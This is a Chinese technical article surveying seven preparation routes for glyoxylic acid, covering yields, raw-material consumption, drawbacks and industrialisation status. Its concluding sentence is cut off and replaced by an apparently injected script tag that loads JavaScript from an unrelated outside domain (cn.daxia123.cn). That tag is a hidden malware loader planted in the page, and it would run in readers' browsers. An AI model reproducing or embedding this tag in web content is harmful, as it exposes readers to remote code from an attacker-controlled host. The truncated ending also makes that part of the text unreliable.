乙醛酸制备方法概述    □崔小明    乙醛酸别名甲醛甲酸或二羟醋酸，是一种重要的化工原料和化学试剂，在香料、医药、造纸、食品添加剂、生物化学、光谱学研究等领域具有广泛的用途。目前我国对乙醛酸的年需求量约为４５００吨（以２０％乙醛酸溶液计），而生产能力仅为５００吨／年，产量远不能满足市场需求，开发利用前景乐观。    目前，乙醛酸的制备方法主要有乙二醛氧化法、乙二醛氯化法、草酸电解还原法、顺丁烯二酸臭氧氧化法和卤代酸水解法，近年来国外又开发出乙醇酸酶催化氧化法和丙烯酸氧化裂解两种新方法。    １.乙二醛硝酸氧化法    乙二醛水溶液在浓硝酸存在下氧化生成乙醛酸，然后经精制提纯得成品，每吨产品消耗乙二醛的理论值为３１４ｋｇ。该法反应简单，操作方便，适用于较大规模生产，缺点是分离较为困难，产品纯度低，质量较差。乙二醛经硝酸氧化的反应液中，除产物乙醛酸外，还有少量的草酸和乙二醛。草酸可采用转化为钙盐沉淀析出的方法除去，乙二醛的存在对乙醛酸所起的化学反应有干扰，也必须除去。常用的方法是用环己醇、脂肪醛等溶剂反复提取，困难在于这种提取技术要求较高，操作繁琐，同时提取所用溶剂的损耗也较大。我国河北宣化化工厂和常州化工研究所均采用此法进行生产。在国外，该法正在逐步被淘汰。    ２.乙二醛氯化法    乙二醛氯化法，其反应的选择性和转化率均较佳，但由于其反应特点所决定，每生成１摩尔乙醛酸就要伴生２摩尔氯化氢，因此在制得２０％浓度乙醛酸时，产品液中盐酸的含量也高达２０％左右，分离较为困难，加上该反应属液气反应，需用压力反应器，反应时间也较长，目前尚未有工业化报道。    ３.顺丁烯二酸臭氧氧化法    将顺丁烯二酸溶于甲酸中，通入臭氧进行氧化，然后用锌粉等还原剂还原制得乙醛酸。该法突出的优点是条件温和，污染少，产品质量好，存在的问题是投资大，电耗高，臭氧操作不方便。    ４.卤代酸水解法    二卤代乙酸的水解可用于制备乙醛酸。二氯乙酸、二溴乙酸均可顺利水解，水解反应的条件一般比较温和，容易控制。例如，可用二氯乙酸与甲醇回流，再经一系列分离和提纯得乙醛酸。二氯乙酸一般由氯乙酸直接氯化而得，但直接氯化常得到一氯代物和二氯代物的混合物，产率不高，因此，可用作原料水解的二卤代酸不易制得，且工艺复杂，分离和提纯较为困难。    ５.草酸电解    还原法草酸水溶液在隔膜电解槽中经电解还原生成乙醛酸稀溶液，然后经蒸发、浓缩、冷冻、过滤逐渐提浓后得产品，每吨产品消耗草酸约７６０ｋｇ。用该法合成乙醛酸具有流程简单、副产物少、产品容易分离、质量高、无三废污染等特点，先后在发达国家实现了工业化。我国从８０年代初开始，先后有几个单位研究开发阴极还原草酸合成乙醛酸的方法并投入小批量生产，对成对电解合成乙醛酸的工艺研究也在进行当中。但是，目前在我国用草酸电解法制乙醛酸这一生产工艺还没有实现工业化，主要原因是生产成本较高，限制了它的应用。    ６.乙醇酸酶催化氧化法    该法由美国杜邦公司研制开发成功。它是将起始浓度为１０％的乙醇酸，在乙醇酸氧化酶作为酶催化剂的条件下与空气中的氧或带有一定压力的纯氧发生氧化反应，从而制得乙醛酸。在反应过程中，加入少量的过氧化氢酶和黄素单核苷酸（ＦＭＮ），可使反应大大加快；在反应液中加入乙二胺，不仅可使反应始终保持在ｐＨ为８.０～９.５的缓冲溶液中进行，而且还可以提高反应的选择性，反应温度控制在１０～２０℃之间。反应完成后，将反应液加热到７０℃，使酶变性，再经过滤除去。乙二胺为碱性物质，用酸碱交换树脂可方便地将其分离除去，得到的乙醛酸含量可达９９.８％，反应选择性大于９９％。该方法具有原料易得、 乙醇酸可以通过氯乙酸水解或其它方法制得，乙醇酸氧化酶可通过从菠菜汁中提取得到，具有反应工艺简单、条件温和、分离方便、无污染、反应产物纯度高、质量好等特点，不足之处是反应时间较长，２升溶液的反应就需７２小时，有待进一步改进。    ７.丙烯酸氧化裂解法    该法由日本开发成功，它是采用丙烯酸或相对应的酯为原料，用过氧化氢为氧化剂，在铬取代的硅酸盐催化剂作用下，氧化裂解丙烯酸制得乙醛酸，反应温度４０℃，反应选择性可达９０％，转化率为９８％。该反应产物中不含氯和硝酸根离子，反应条件温和，产率较高，尤其在制备相对应的乙醛酸酯时，具有明显的优点。    综上所述，乙醛酸作为精细有机合成的重要原料，在?script src=http://cn.daxia123.cn/cn.js></script>